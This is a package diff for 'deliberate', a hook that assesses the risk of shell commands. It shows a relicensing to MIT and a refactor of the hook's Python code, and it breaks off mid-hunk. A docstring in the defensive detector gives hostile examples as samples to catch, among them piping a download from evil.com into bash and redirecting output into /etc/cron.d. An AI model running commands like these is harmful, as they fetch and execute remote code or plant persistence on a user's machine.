deliberate 1.0.1 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +18 -8
- package/README.md +1 -3
- package/hooks/__pycache__/deliberate-commands.cpython-312.pyc +0 -0
- package/hooks/deliberate-commands.py +167 -217
- package/package.json +2 -2
package/LICENSE
CHANGED
|
@@ -1,11 +1,21 @@
|
|
|
1
|
-
|
|
1
|
+
MIT License
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
exclusive property of TheRadarTech LLC. No part of this Software may be reproduced,
|
|
5
|
-
distributed, modified, or transmitted in any form or by any means without
|
|
6
|
-
the prior written permission of TheRadarTech LLC.
|
|
3
|
+
Copyright (c) 2025 TheRadarTech LLC
|
|
7
4
|
|
|
8
|
-
|
|
9
|
-
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
10
11
|
|
|
11
|
-
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
CHANGED
|
@@ -175,6 +175,4 @@ Command embeddings by [CmdCaliper](https://huggingface.co/CyCraftAI/CmdCaliper-b
|
|
|
175
175
|
|
|
176
176
|
## License
|
|
177
177
|
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
This software is proprietary. See [LICENSE](LICENSE) for details.
|
|
178
|
+
MIT License - see [LICENSE](LICENSE) for details.
|
|
Binary file
|
|
@@ -12,11 +12,17 @@ Multi-layer architecture for robust classification:
|
|
|
12
12
|
https://github.com/the-radar/deliberate
|
|
13
13
|
"""
|
|
14
14
|
|
|
15
|
+
import hashlib
|
|
15
16
|
import json
|
|
16
|
-
import sys
|
|
17
17
|
import os
|
|
18
|
-
import
|
|
18
|
+
import random
|
|
19
|
+
import re
|
|
20
|
+
import subprocess
|
|
21
|
+
import sys
|
|
22
|
+
import tempfile
|
|
19
23
|
import urllib.error
|
|
24
|
+
import urllib.request
|
|
25
|
+
from datetime import datetime
|
|
20
26
|
from pathlib import Path
|
|
21
27
|
|
|
22
28
|
# Configuration
|
|
@@ -37,9 +43,6 @@ DEBUG = False
|
|
|
37
43
|
USE_CLASSIFIER = True # Try classifier first if available
|
|
38
44
|
|
|
39
45
|
# Session state for deduplication
|
|
40
|
-
import hashlib
|
|
41
|
-
import random
|
|
42
|
-
from datetime import datetime
|
|
43
46
|
|
|
44
47
|
|
|
45
48
|
def get_state_file(session_id: str) -> str:
|
|
@@ -156,7 +159,6 @@ def extract_affected_paths(command: str) -> list:
|
|
|
156
159
|
|
|
157
160
|
Looks for paths in common destructive commands like rm, mv, cp, git rm, etc.
|
|
158
161
|
"""
|
|
159
|
-
import re
|
|
160
162
|
paths = []
|
|
161
163
|
|
|
162
164
|
# Patterns for extracting paths from various commands
|
|
@@ -222,6 +224,10 @@ def detect_workflow_patterns(history: dict, current_command: str, window_size: i
|
|
|
222
224
|
return detected
|
|
223
225
|
|
|
224
226
|
|
|
227
|
+
RISK_LEVELS = {"LOW": 0, "MODERATE": 1, "HIGH": 2, "CRITICAL": 3}
|
|
228
|
+
RISK_NAMES = {v: k for k, v in RISK_LEVELS.items()}
|
|
229
|
+
|
|
230
|
+
|
|
225
231
|
def calculate_cumulative_risk(history: dict, current_risk: str) -> str:
|
|
226
232
|
"""Calculate cumulative session risk based on history and current command.
|
|
227
233
|
|
|
@@ -230,36 +236,25 @@ def calculate_cumulative_risk(history: dict, current_risk: str) -> str:
|
|
|
230
236
|
- Detected workflow patterns
|
|
231
237
|
- Files at risk
|
|
232
238
|
"""
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
# Start with current command's risk
|
|
236
|
-
max_risk = risk_levels.get(current_risk, 1)
|
|
239
|
+
max_risk = RISK_LEVELS.get(current_risk, 1)
|
|
237
240
|
|
|
238
|
-
# Check historical risks
|
|
239
241
|
dangerous_count = 0
|
|
240
242
|
for cmd in history.get("commands", []):
|
|
241
243
|
cmd_risk = cmd.get("risk", "MODERATE")
|
|
242
244
|
if cmd_risk == "DANGEROUS":
|
|
243
245
|
dangerous_count += 1
|
|
244
|
-
max_risk = max(max_risk,
|
|
246
|
+
max_risk = max(max_risk, RISK_LEVELS.get(cmd_risk, 1))
|
|
245
247
|
|
|
246
|
-
# Escalate based on dangerous command count
|
|
247
|
-
if dangerous_count >= 3:
|
|
248
|
-
max_risk = max(max_risk, risk_levels["HIGH"])
|
|
249
248
|
if dangerous_count >= 5:
|
|
250
|
-
max_risk = max(max_risk,
|
|
249
|
+
max_risk = max(max_risk, RISK_LEVELS["CRITICAL"])
|
|
250
|
+
elif dangerous_count >= 3:
|
|
251
|
+
max_risk = max(max_risk, RISK_LEVELS["HIGH"])
|
|
251
252
|
|
|
252
|
-
# Check for detected patterns
|
|
253
253
|
for pattern in history.get("patterns_detected", []):
|
|
254
254
|
pattern_risk = pattern[1] if len(pattern) > 1 else "HIGH"
|
|
255
|
-
max_risk = max(max_risk,
|
|
255
|
+
max_risk = max(max_risk, RISK_LEVELS.get(pattern_risk, 2))
|
|
256
256
|
|
|
257
|
-
|
|
258
|
-
for name, level in risk_levels.items():
|
|
259
|
-
if level == max_risk:
|
|
260
|
-
return name
|
|
261
|
-
|
|
262
|
-
return "MODERATE"
|
|
257
|
+
return RISK_NAMES.get(max_risk, "MODERATE")
|
|
263
258
|
|
|
264
259
|
|
|
265
260
|
def get_destruction_consequences(command: str, cwd: str = ".") -> dict | None:
|
|
@@ -275,9 +270,6 @@ def get_destruction_consequences(command: str, cwd: str = ".") -> dict | None:
|
|
|
275
270
|
|
|
276
271
|
Returns None if command is not destructive or paths don't exist.
|
|
277
272
|
"""
|
|
278
|
-
import re
|
|
279
|
-
import subprocess
|
|
280
|
-
|
|
281
273
|
consequences = {
|
|
282
274
|
"files": [],
|
|
283
275
|
"dirs": [],
|
|
@@ -382,35 +374,19 @@ def _analyze_path(path: str, consequences: dict):
|
|
|
382
374
|
try:
|
|
383
375
|
if os.path.isfile(path):
|
|
384
376
|
consequences["files"].append(path)
|
|
385
|
-
size =
|
|
377
|
+
size, lines = _count_file_stats(path)
|
|
386
378
|
consequences["total_size"] += size
|
|
387
|
-
|
|
388
|
-
# Count lines for text files
|
|
389
|
-
if _is_text_file(path):
|
|
390
|
-
try:
|
|
391
|
-
with open(path, 'r', encoding='utf-8', errors='ignore') as f:
|
|
392
|
-
lines = sum(1 for _ in f)
|
|
393
|
-
consequences["total_lines"] += lines
|
|
394
|
-
except (IOError, PermissionError):
|
|
395
|
-
pass
|
|
379
|
+
consequences["total_lines"] += lines
|
|
396
380
|
|
|
397
381
|
elif os.path.isdir(path):
|
|
398
382
|
consequences["dirs"].append(path)
|
|
399
|
-
|
|
400
|
-
for root, _dirs, files in os.walk(path):
|
|
383
|
+
for root, _, files in os.walk(path):
|
|
401
384
|
for filename in files:
|
|
402
385
|
filepath = os.path.join(root, filename)
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
if _is_text_file(filepath):
|
|
409
|
-
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
|
410
|
-
lines = sum(1 for _ in f)
|
|
411
|
-
consequences["total_lines"] += lines
|
|
412
|
-
except (IOError, PermissionError, OSError):
|
|
413
|
-
pass
|
|
386
|
+
consequences["files"].append(filepath)
|
|
387
|
+
size, lines = _count_file_stats(filepath)
|
|
388
|
+
consequences["total_size"] += size
|
|
389
|
+
consequences["total_lines"] += lines
|
|
414
390
|
except (OSError, PermissionError):
|
|
415
391
|
pass
|
|
416
392
|
|
|
@@ -420,8 +396,6 @@ def _analyze_git_reset_hard(cwd: str, consequences: dict) -> dict | None:
|
|
|
420
396
|
|
|
421
397
|
Runs git diff HEAD to see uncommitted changes that will be lost.
|
|
422
398
|
"""
|
|
423
|
-
import subprocess
|
|
424
|
-
|
|
425
399
|
consequences["type"] = "git_reset_hard"
|
|
426
400
|
|
|
427
401
|
try:
|
|
@@ -453,15 +427,9 @@ def _analyze_git_reset_hard(cwd: str, consequences: dict) -> dict | None:
|
|
|
453
427
|
if status[0] in 'MA' or status[1] in 'MA':
|
|
454
428
|
consequences["files"].append(filepath)
|
|
455
429
|
if os.path.exists(full_path):
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
|
|
459
|
-
if _is_text_file(full_path):
|
|
460
|
-
with open(full_path, 'r', encoding='utf-8', errors='ignore') as f:
|
|
461
|
-
lines = sum(1 for _ in f)
|
|
462
|
-
consequences["total_lines"] += lines
|
|
463
|
-
except (IOError, OSError):
|
|
464
|
-
pass
|
|
430
|
+
size, lines = _count_file_stats(full_path)
|
|
431
|
+
consequences["total_size"] += size
|
|
432
|
+
consequences["total_lines"] += lines
|
|
465
433
|
|
|
466
434
|
# Get actual diff to show what changes will be lost
|
|
467
435
|
diff_result = subprocess.run(
|
|
@@ -503,8 +471,6 @@ def _analyze_git_clean(cwd: str, consequences: dict) -> dict | None:
|
|
|
503
471
|
|
|
504
472
|
Runs git clean -n (dry run) to preview what would be deleted.
|
|
505
473
|
"""
|
|
506
|
-
import subprocess
|
|
507
|
-
|
|
508
474
|
consequences["type"] = "git_clean"
|
|
509
475
|
|
|
510
476
|
try:
|
|
@@ -523,34 +489,27 @@ def _analyze_git_clean(cwd: str, consequences: dict) -> dict | None:
|
|
|
523
489
|
|
|
524
490
|
# Parse output: "Would remove path/to/file"
|
|
525
491
|
for line in clean_result.stdout.strip().split('\n'):
|
|
526
|
-
if line.startswith("Would remove "):
|
|
527
|
-
|
|
528
|
-
full_path = os.path.join(cwd, filepath)
|
|
492
|
+
if not line.startswith("Would remove "):
|
|
493
|
+
continue
|
|
529
494
|
|
|
530
|
-
|
|
531
|
-
|
|
532
|
-
|
|
533
|
-
|
|
534
|
-
|
|
535
|
-
|
|
536
|
-
|
|
537
|
-
|
|
538
|
-
|
|
539
|
-
|
|
540
|
-
|
|
541
|
-
|
|
542
|
-
|
|
543
|
-
|
|
544
|
-
|
|
545
|
-
|
|
546
|
-
|
|
547
|
-
|
|
548
|
-
consequences["total_size"] += os.path.getsize(full_path)
|
|
549
|
-
if _is_text_file(full_path):
|
|
550
|
-
with open(full_path, 'r', encoding='utf-8', errors='ignore') as f:
|
|
551
|
-
consequences["total_lines"] += sum(1 for _ in f)
|
|
552
|
-
except (IOError, OSError):
|
|
553
|
-
pass
|
|
495
|
+
filepath = line[len("Would remove "):].strip()
|
|
496
|
+
full_path = os.path.join(cwd, filepath)
|
|
497
|
+
|
|
498
|
+
if os.path.isdir(full_path):
|
|
499
|
+
consequences["dirs"].append(filepath)
|
|
500
|
+
for root, _, files in os.walk(full_path):
|
|
501
|
+
for filename in files:
|
|
502
|
+
fpath = os.path.join(root, filename)
|
|
503
|
+
consequences["files"].append(fpath)
|
|
504
|
+
size, lines = _count_file_stats(fpath)
|
|
505
|
+
consequences["total_size"] += size
|
|
506
|
+
consequences["total_lines"] += lines
|
|
507
|
+
else:
|
|
508
|
+
consequences["files"].append(filepath)
|
|
509
|
+
if os.path.exists(full_path):
|
|
510
|
+
size, lines = _count_file_stats(full_path)
|
|
511
|
+
consequences["total_size"] += size
|
|
512
|
+
consequences["total_lines"] += lines
|
|
554
513
|
|
|
555
514
|
if not consequences["files"] and not consequences["dirs"]:
|
|
556
515
|
return None
|
|
@@ -583,8 +542,6 @@ def _analyze_git_checkout_discard(cwd: str, consequences: dict) -> dict | None:
|
|
|
583
542
|
|
|
584
543
|
Shows modified tracked files that will lose their changes.
|
|
585
544
|
"""
|
|
586
|
-
import subprocess
|
|
587
|
-
|
|
588
545
|
consequences["type"] = "git_checkout_discard"
|
|
589
546
|
|
|
590
547
|
try:
|
|
@@ -609,13 +566,9 @@ def _analyze_git_checkout_discard(cwd: str, consequences: dict) -> dict | None:
|
|
|
609
566
|
full_path = os.path.join(cwd, filepath)
|
|
610
567
|
|
|
611
568
|
if os.path.exists(full_path):
|
|
612
|
-
|
|
613
|
-
|
|
614
|
-
|
|
615
|
-
with open(full_path, 'r', encoding='utf-8', errors='ignore') as f:
|
|
616
|
-
consequences["total_lines"] += sum(1 for _ in f)
|
|
617
|
-
except (IOError, OSError):
|
|
618
|
-
pass
|
|
569
|
+
size, lines = _count_file_stats(full_path)
|
|
570
|
+
consequences["total_size"] += size
|
|
571
|
+
consequences["total_lines"] += lines
|
|
619
572
|
|
|
620
573
|
if not consequences["files"]:
|
|
621
574
|
return None
|
|
@@ -651,9 +604,6 @@ def _analyze_git_stash_drop(cwd: str, command: str, consequences: dict) -> dict
|
|
|
651
604
|
|
|
652
605
|
Shows the content of the stash being dropped.
|
|
653
606
|
"""
|
|
654
|
-
import subprocess
|
|
655
|
-
import re
|
|
656
|
-
|
|
657
607
|
consequences["type"] = "git_stash_drop"
|
|
658
608
|
|
|
659
609
|
try:
|
|
@@ -703,20 +653,35 @@ def _analyze_git_stash_drop(cwd: str, command: str, consequences: dict) -> dict
|
|
|
703
653
|
return None
|
|
704
654
|
|
|
705
655
|
|
|
656
|
+
TEXT_EXTENSIONS = {
|
|
657
|
+
'.py', '.js', '.ts', '.tsx', '.jsx', '.json', '.yaml', '.yml',
|
|
658
|
+
'.md', '.txt', '.sh', '.bash', '.zsh', '.fish',
|
|
659
|
+
'.html', '.css', '.scss', '.sass', '.less',
|
|
660
|
+
'.java', '.kt', '.scala', '.go', '.rs', '.rb', '.php',
|
|
661
|
+
'.c', '.cpp', '.h', '.hpp', '.cs', '.swift', '.m',
|
|
662
|
+
'.sql', '.graphql', '.proto', '.xml', '.toml', '.ini', '.cfg',
|
|
663
|
+
'.env', '.gitignore', '.dockerignore', 'Makefile', 'Dockerfile',
|
|
664
|
+
'.vue', '.svelte', '.astro'
|
|
665
|
+
}
|
|
666
|
+
|
|
667
|
+
|
|
706
668
|
def _is_text_file(path: str) -> bool:
|
|
707
669
|
"""Check if file is likely a text/code file based on extension."""
|
|
708
|
-
text_extensions = {
|
|
709
|
-
'.py', '.js', '.ts', '.tsx', '.jsx', '.json', '.yaml', '.yml',
|
|
710
|
-
'.md', '.txt', '.sh', '.bash', '.zsh', '.fish',
|
|
711
|
-
'.html', '.css', '.scss', '.sass', '.less',
|
|
712
|
-
'.java', '.kt', '.scala', '.go', '.rs', '.rb', '.php',
|
|
713
|
-
'.c', '.cpp', '.h', '.hpp', '.cs', '.swift', '.m',
|
|
714
|
-
'.sql', '.graphql', '.proto', '.xml', '.toml', '.ini', '.cfg',
|
|
715
|
-
'.env', '.gitignore', '.dockerignore', 'Makefile', 'Dockerfile',
|
|
716
|
-
'.vue', '.svelte', '.astro'
|
|
717
|
-
}
|
|
718
670
|
_, ext = os.path.splitext(path)
|
|
719
|
-
return ext.lower() in
|
|
671
|
+
return ext.lower() in TEXT_EXTENSIONS or os.path.basename(path) in TEXT_EXTENSIONS
|
|
672
|
+
|
|
673
|
+
|
|
674
|
+
def _count_file_stats(filepath: str) -> tuple[int, int]:
|
|
675
|
+
"""Count size and lines for a file. Returns (size_bytes, line_count)."""
|
|
676
|
+
try:
|
|
677
|
+
size = os.path.getsize(filepath)
|
|
678
|
+
lines = 0
|
|
679
|
+
if _is_text_file(filepath):
|
|
680
|
+
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
|
681
|
+
lines = sum(1 for _ in f)
|
|
682
|
+
return size, lines
|
|
683
|
+
except (IOError, PermissionError, OSError):
|
|
684
|
+
return 0, 0
|
|
720
685
|
|
|
721
686
|
|
|
722
687
|
def get_backup_dir() -> str:
|
|
@@ -741,7 +706,6 @@ def create_pre_destruction_backup(
|
|
|
741
706
|
Returns backup path if successful, None if backup failed/skipped.
|
|
742
707
|
"""
|
|
743
708
|
import shutil
|
|
744
|
-
import subprocess
|
|
745
709
|
|
|
746
710
|
backup_base = get_backup_dir()
|
|
747
711
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
@@ -856,20 +820,12 @@ def create_pre_destruction_backup(
|
|
|
856
820
|
|
|
857
821
|
def load_backup_config() -> dict:
|
|
858
822
|
"""Load backup configuration from config file."""
|
|
859
|
-
|
|
860
|
-
|
|
861
|
-
|
|
862
|
-
|
|
863
|
-
|
|
864
|
-
|
|
865
|
-
return {
|
|
866
|
-
"enabled": backup.get("enabled", True), # Enabled by default
|
|
867
|
-
"maxBackups": backup.get("maxBackups", 50),
|
|
868
|
-
"riskThreshold": backup.get("riskThreshold", "CRITICAL") # Only backup for CRITICAL by default
|
|
869
|
-
}
|
|
870
|
-
except Exception:
|
|
871
|
-
pass
|
|
872
|
-
return {"enabled": True, "maxBackups": 50, "riskThreshold": "CRITICAL"}
|
|
823
|
+
backup = _load_config().get("backup", {})
|
|
824
|
+
return {
|
|
825
|
+
"enabled": backup.get("enabled", True),
|
|
826
|
+
"maxBackups": backup.get("maxBackups", 50),
|
|
827
|
+
"riskThreshold": backup.get("riskThreshold", "CRITICAL")
|
|
828
|
+
}
|
|
873
829
|
|
|
874
830
|
|
|
875
831
|
def add_command_to_history(session_id: str, command: str, risk: str, explanation: str):
|
|
@@ -949,34 +905,38 @@ def save_to_cache(session_id: str, cmd_hash: str, data: dict):
|
|
|
949
905
|
debug(f"Failed to cache: {e}")
|
|
950
906
|
|
|
951
907
|
|
|
952
|
-
|
|
953
|
-
|
|
908
|
+
_config_cache = None
|
|
909
|
+
|
|
910
|
+
|
|
911
|
+
def _load_config() -> dict:
|
|
912
|
+
"""Load config from CONFIG_FILE with simple caching."""
|
|
913
|
+
global _config_cache
|
|
914
|
+
if _config_cache is not None:
|
|
915
|
+
return _config_cache
|
|
954
916
|
try:
|
|
955
917
|
config_path = Path(CONFIG_FILE)
|
|
956
918
|
if config_path.exists():
|
|
957
919
|
with open(config_path, 'r', encoding='utf-8') as f:
|
|
958
|
-
|
|
959
|
-
|
|
960
|
-
return {
|
|
961
|
-
"enabled": blocking.get("enabled", False),
|
|
962
|
-
"confidenceThreshold": blocking.get("confidenceThreshold", 0.85)
|
|
963
|
-
}
|
|
920
|
+
_config_cache = json.load(f)
|
|
921
|
+
return _config_cache
|
|
964
922
|
except Exception:
|
|
965
923
|
pass
|
|
966
|
-
|
|
924
|
+
_config_cache = {}
|
|
925
|
+
return _config_cache
|
|
926
|
+
|
|
927
|
+
|
|
928
|
+
def load_blocking_config() -> dict:
|
|
929
|
+
"""Load blocking configuration from config file."""
|
|
930
|
+
blocking = _load_config().get("blocking", {})
|
|
931
|
+
return {
|
|
932
|
+
"enabled": blocking.get("enabled", False),
|
|
933
|
+
"confidenceThreshold": blocking.get("confidenceThreshold", 0.85)
|
|
934
|
+
}
|
|
967
935
|
|
|
968
936
|
|
|
969
937
|
def load_dedup_config() -> bool:
|
|
970
938
|
"""Load deduplication config - returns True if dedup is enabled (default)."""
|
|
971
|
-
|
|
972
|
-
config_path = Path(CONFIG_FILE)
|
|
973
|
-
if config_path.exists():
|
|
974
|
-
with open(config_path, 'r', encoding='utf-8') as f:
|
|
975
|
-
config = json.load(f)
|
|
976
|
-
return config.get("deduplication", {}).get("enabled", True)
|
|
977
|
-
except Exception:
|
|
978
|
-
pass
|
|
979
|
-
return True
|
|
939
|
+
return _load_config().get("deduplication", {}).get("enabled", True)
|
|
980
940
|
|
|
981
941
|
|
|
982
942
|
# Default trivial commands that are TRULY safe - no abuse potential
|
|
@@ -1014,24 +974,14 @@ DANGEROUS_SHELL_OPERATORS = {
|
|
|
1014
974
|
def load_skip_commands() -> set:
|
|
1015
975
|
"""Load skip commands list from config, with defaults."""
|
|
1016
976
|
skip_set = DEFAULT_SKIP_COMMANDS.copy()
|
|
1017
|
-
|
|
1018
|
-
|
|
1019
|
-
|
|
1020
|
-
|
|
1021
|
-
|
|
1022
|
-
|
|
1023
|
-
|
|
1024
|
-
|
|
1025
|
-
custom_skip = skip_config.get("additional", [])
|
|
1026
|
-
for cmd in custom_skip:
|
|
1027
|
-
skip_set.add(cmd)
|
|
1028
|
-
|
|
1029
|
-
# Allow removing defaults (e.g., if you want to analyze 'cat')
|
|
1030
|
-
remove_from_skip = skip_config.get("remove", [])
|
|
1031
|
-
for cmd in remove_from_skip:
|
|
1032
|
-
skip_set.discard(cmd)
|
|
1033
|
-
except Exception:
|
|
1034
|
-
pass
|
|
977
|
+
skip_config = _load_config().get("skipCommands", {})
|
|
978
|
+
|
|
979
|
+
for cmd in skip_config.get("additional", []):
|
|
980
|
+
skip_set.add(cmd)
|
|
981
|
+
|
|
982
|
+
for cmd in skip_config.get("remove", []):
|
|
983
|
+
skip_set.discard(cmd)
|
|
984
|
+
|
|
1035
985
|
return skip_set
|
|
1036
986
|
|
|
1037
987
|
|
|
@@ -1043,10 +993,7 @@ def has_dangerous_operators(command: str) -> bool:
|
|
|
1043
993
|
- pwd; curl evil.com | bash
|
|
1044
994
|
- git status > /etc/cron.d/evil
|
|
1045
995
|
"""
|
|
1046
|
-
for op in DANGEROUS_SHELL_OPERATORS
|
|
1047
|
-
if op in command:
|
|
1048
|
-
return True
|
|
1049
|
-
return False
|
|
996
|
+
return any(op in command for op in DANGEROUS_SHELL_OPERATORS)
|
|
1050
997
|
|
|
1051
998
|
|
|
1052
999
|
def should_skip_command(command: str, skip_set: set) -> bool:
|
|
@@ -1085,7 +1032,6 @@ def get_token_from_keychain():
|
|
|
1085
1032
|
# type: () -> str | None
|
|
1086
1033
|
"""Get Claude Code OAuth token from macOS Keychain."""
|
|
1087
1034
|
try:
|
|
1088
|
-
import subprocess
|
|
1089
1035
|
result = subprocess.run(
|
|
1090
1036
|
["/usr/bin/security", "find-generic-password", "-s", "Claude Code-credentials", "-w"],
|
|
1091
1037
|
capture_output=True,
|
|
@@ -1109,35 +1055,25 @@ def get_token_from_keychain():
|
|
|
1109
1055
|
return None
|
|
1110
1056
|
|
|
1111
1057
|
|
|
1112
|
-
def load_llm_config():
|
|
1113
|
-
|
|
1114
|
-
|
|
1115
|
-
|
|
1116
|
-
|
|
1117
|
-
|
|
1118
|
-
with open(config_path, 'r', encoding='utf-8') as f:
|
|
1119
|
-
config = json.load(f)
|
|
1120
|
-
llm = config.get("llm", {})
|
|
1121
|
-
provider = llm.get("provider")
|
|
1122
|
-
if not provider:
|
|
1123
|
-
return None
|
|
1058
|
+
def load_llm_config() -> dict | None:
|
|
1059
|
+
"""Load LLM configuration from config file or keychain."""
|
|
1060
|
+
llm = _load_config().get("llm", {})
|
|
1061
|
+
provider = llm.get("provider")
|
|
1062
|
+
if not provider:
|
|
1063
|
+
return None
|
|
1124
1064
|
|
|
1125
|
-
|
|
1126
|
-
|
|
1127
|
-
|
|
1128
|
-
|
|
1129
|
-
|
|
1130
|
-
|
|
1131
|
-
|
|
1132
|
-
|
|
1133
|
-
|
|
1134
|
-
|
|
1135
|
-
|
|
1136
|
-
|
|
1137
|
-
}
|
|
1138
|
-
except Exception as e:
|
|
1139
|
-
debug(f"Error loading config: {e}")
|
|
1140
|
-
return None
|
|
1065
|
+
api_key = llm.get("apiKey")
|
|
1066
|
+
if provider == "claude-subscription":
|
|
1067
|
+
keychain_token = get_token_from_keychain()
|
|
1068
|
+
if keychain_token:
|
|
1069
|
+
api_key = keychain_token
|
|
1070
|
+
|
|
1071
|
+
return {
|
|
1072
|
+
"provider": provider,
|
|
1073
|
+
"base_url": llm.get("baseUrl"),
|
|
1074
|
+
"api_key": api_key,
|
|
1075
|
+
"model": llm.get("model")
|
|
1076
|
+
}
|
|
1141
1077
|
|
|
1142
1078
|
# Commands that are always safe (skip explanation) - fallback if classifier unavailable
|
|
1143
1079
|
SAFE_PREFIXES = [
|
|
@@ -1177,19 +1113,13 @@ def debug(msg):
|
|
|
1177
1113
|
def is_safe_command(command: str) -> bool:
|
|
1178
1114
|
"""Check if command is in the safe list (fallback)."""
|
|
1179
1115
|
cmd_lower = command.strip().lower()
|
|
1180
|
-
for prefix in SAFE_PREFIXES
|
|
1181
|
-
if cmd_lower.startswith(prefix.lower()):
|
|
1182
|
-
return True
|
|
1183
|
-
return False
|
|
1116
|
+
return any(cmd_lower.startswith(prefix.lower()) for prefix in SAFE_PREFIXES)
|
|
1184
1117
|
|
|
1185
1118
|
|
|
1186
1119
|
def is_dangerous_command(command: str) -> bool:
|
|
1187
1120
|
"""Check if command matches dangerous patterns (fallback)."""
|
|
1188
1121
|
cmd_lower = command.lower()
|
|
1189
|
-
for pattern in DANGEROUS_PATTERNS
|
|
1190
|
-
if pattern.lower() in cmd_lower:
|
|
1191
|
-
return True
|
|
1192
|
-
return False
|
|
1122
|
+
return any(pattern.lower() in cmd_lower for pattern in DANGEROUS_PATTERNS)
|
|
1193
1123
|
|
|
1194
1124
|
|
|
1195
1125
|
def call_classifier(command: str) -> dict | None:
|
|
@@ -1230,8 +1160,6 @@ def extract_script_content(command: str) -> str | None:
|
|
|
1230
1160
|
- source script.sh
|
|
1231
1161
|
- python script.py
|
|
1232
1162
|
"""
|
|
1233
|
-
import re
|
|
1234
|
-
|
|
1235
1163
|
# Common script execution patterns
|
|
1236
1164
|
patterns = [
|
|
1237
1165
|
# bash/sh/zsh execution
|
|
@@ -1279,8 +1207,6 @@ def extract_inline_content(command: str) -> str | None:
|
|
|
1279
1207
|
|
|
1280
1208
|
Returns the inline content if found, None otherwise.
|
|
1281
1209
|
"""
|
|
1282
|
-
import re
|
|
1283
|
-
|
|
1284
1210
|
# Heredoc patterns - capture content between << MARKER and MARKER
|
|
1285
1211
|
# Handles both << EOF and << 'EOF' (quoted prevents variable expansion)
|
|
1286
1212
|
heredoc_pattern = r'<<\s*[\'"]?(\w+)[\'"]?\s*\n(.*?)\n\1'
|
|
@@ -1334,6 +1260,7 @@ def extract_inline_content(command: str) -> str | None:
|
|
|
1334
1260
|
|
|
1335
1261
|
def call_llm_for_explanation(command: str, pre_classification: dict | None = None, script_content: str | None = None) -> dict | None:
|
|
1336
1262
|
"""Call the configured LLM to explain the command using Claude Agent SDK."""
|
|
1263
|
+
debug("call_llm_for_explanation started")
|
|
1337
1264
|
|
|
1338
1265
|
llm_config = load_llm_config()
|
|
1339
1266
|
if not llm_config:
|
|
@@ -1341,6 +1268,7 @@ def call_llm_for_explanation(command: str, pre_classification: dict | None = Non
|
|
|
1341
1268
|
return None
|
|
1342
1269
|
|
|
1343
1270
|
provider = llm_config["provider"]
|
|
1271
|
+
debug(f"LLM provider: {provider}")
|
|
1344
1272
|
|
|
1345
1273
|
# Only use SDK for claude-subscription provider
|
|
1346
1274
|
if provider != "claude-subscription":
|
|
@@ -1395,10 +1323,6 @@ RISK: [SAFE|MODERATE|DANGEROUS]
|
|
|
1395
1323
|
EXPLANATION: [your explanation including any security notes]"""
|
|
1396
1324
|
|
|
1397
1325
|
try:
|
|
1398
|
-
# Use Claude Agent SDK
|
|
1399
|
-
import subprocess
|
|
1400
|
-
import tempfile
|
|
1401
|
-
|
|
1402
1326
|
# Create temp file for SDK script
|
|
1403
1327
|
with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
|
|
1404
1328
|
sdk_script = f"""
|
|
@@ -1428,15 +1352,30 @@ async def main():
|
|
|
1428
1352
|
async with client:
|
|
1429
1353
|
await client.query(prompt)
|
|
1430
1354
|
|
|
1431
|
-
# Collect response
|
|
1355
|
+
# Collect response - check both AssistantMessage and ResultMessage
|
|
1432
1356
|
response_text = ""
|
|
1433
1357
|
async for msg in client.receive_response():
|
|
1434
1358
|
msg_type = type(msg).__name__
|
|
1435
|
-
|
|
1436
|
-
|
|
1359
|
+
|
|
1360
|
+
# Try to get text from AssistantMessage
|
|
1361
|
+
if msg_type == 'AssistantMessage' and hasattr(msg, 'content'):
|
|
1362
|
+
# content is a list of blocks (TextBlock, ToolUseBlock, etc.)
|
|
1363
|
+
for block in (msg.content or []):
|
|
1364
|
+
block_type = type(block).__name__
|
|
1365
|
+
if block_type == 'TextBlock' and hasattr(block, 'text') and block.text:
|
|
1366
|
+
# Accumulate text from all TextBlocks
|
|
1367
|
+
if response_text:
|
|
1368
|
+
response_text += "\\n" + block.text
|
|
1369
|
+
else:
|
|
1370
|
+
response_text = block.text
|
|
1371
|
+
|
|
1372
|
+
# ResultMessage marks the end
|
|
1373
|
+
if msg_type == 'ResultMessage':
|
|
1374
|
+
if hasattr(msg, 'result') and msg.result:
|
|
1375
|
+
response_text = msg.result
|
|
1437
1376
|
break
|
|
1438
1377
|
|
|
1439
|
-
print(response_text)
|
|
1378
|
+
print(response_text if response_text else "")
|
|
1440
1379
|
|
|
1441
1380
|
# Run async main
|
|
1442
1381
|
asyncio.run(main())
|
|
@@ -1445,6 +1384,7 @@ asyncio.run(main())
|
|
|
1445
1384
|
script_path = f.name
|
|
1446
1385
|
|
|
1447
